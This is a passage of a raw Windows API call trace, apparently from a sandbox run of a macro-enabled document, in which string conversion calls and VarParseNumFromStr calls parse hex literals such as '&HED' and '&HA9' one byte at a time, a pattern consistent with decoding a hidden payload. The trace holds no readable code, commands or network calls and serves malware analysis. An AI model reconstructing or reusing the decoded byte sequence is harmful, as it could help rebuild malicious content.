dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$", lpUsedDefaultChar=0x0) returned 1 [0191.124] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.125] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.125] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.125] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.126] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.126] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.127] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.127] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.128] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.128] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.128] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.128] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.129] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.129] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.129] VarParseNumFromStr (in: strIn="&HED", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.129] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.129] VarParseNumFromStr (in: strIn="&HC1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.129] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.130] VarParseNumFromStr (in: strIn="&H3A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.130] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.130] VarParseNumFromStr (in: strIn="&H7E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.130] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.130] VarParseNumFromStr (in: strIn="&HA9", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.130] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.131] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.131] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.131] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.131] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.131] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.131] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.132] VarParseNumFromStr (in: strIn="&HA9", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.132] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.132] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.132] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.132] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.132] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.133] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.133] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.133] VarParseNumFromStr (in: strIn="&HA9", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.133] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.133] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.133] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.134] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.134] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.134] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.134] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.134] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.134] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.135] VarParseNumFromStr (in: strIn="&H3C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.135] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.135] VarParseNumFromStr (in: strIn="&HA5", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.135] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.135] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.135] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.136] VarParseNumFromStr (in: strIn="&HAC", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.136] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.136] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.136] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.136] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.136] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.137] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.137] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.137] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.137] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.137] VarParseNumFromStr (in: strIn="&H3C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.137] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.138] VarParseNumFromStr (in: strIn="&HA7", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.138] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.138] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.138] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.138] VarParseNumFromStr (in: strIn="&H3F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.138] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.139] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.139] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.139] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.139] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.139] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.139] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.139] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.140] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.142] VarParseNumFromStr (in: strIn="&H3C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.142] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.142] VarParseNumFromStr (in: strIn="&HA6", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.142] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.143] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.143] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.143] VarParseNumFromStr (in: strIn="&HA7", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.143] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.143] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.143] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.144] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.144] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.144] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.144] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.144] VarParseNumFromStr (in: strIn="&H92", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.144] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.144] VarParseNumFromStr (in: strIn="&HFE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.145] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.145] VarParseNumFromStr (in: strIn="&H57", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.145] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.145] VarParseNumFromStr (in: strIn="&H2C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.145] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.145] VarParseNumFromStr (in: strIn="&HAE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.145] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.146] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.146] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.146] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.146] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.146] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.146] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.147] VarParseNumFromStr (in: strIn="&H92", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.147] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.147] VarParseNumFromStr (in: strIn="&HFE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.147] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.147] VarParseNumFromStr (in: strIn="&H50", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.147] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.148] VarParseNumFromStr (in: strIn="&H2C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.148] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.148] VarParseNumFromStr (in: strIn="&HBD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.148] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.148] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.148] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.149] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.149] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.149] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.149] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 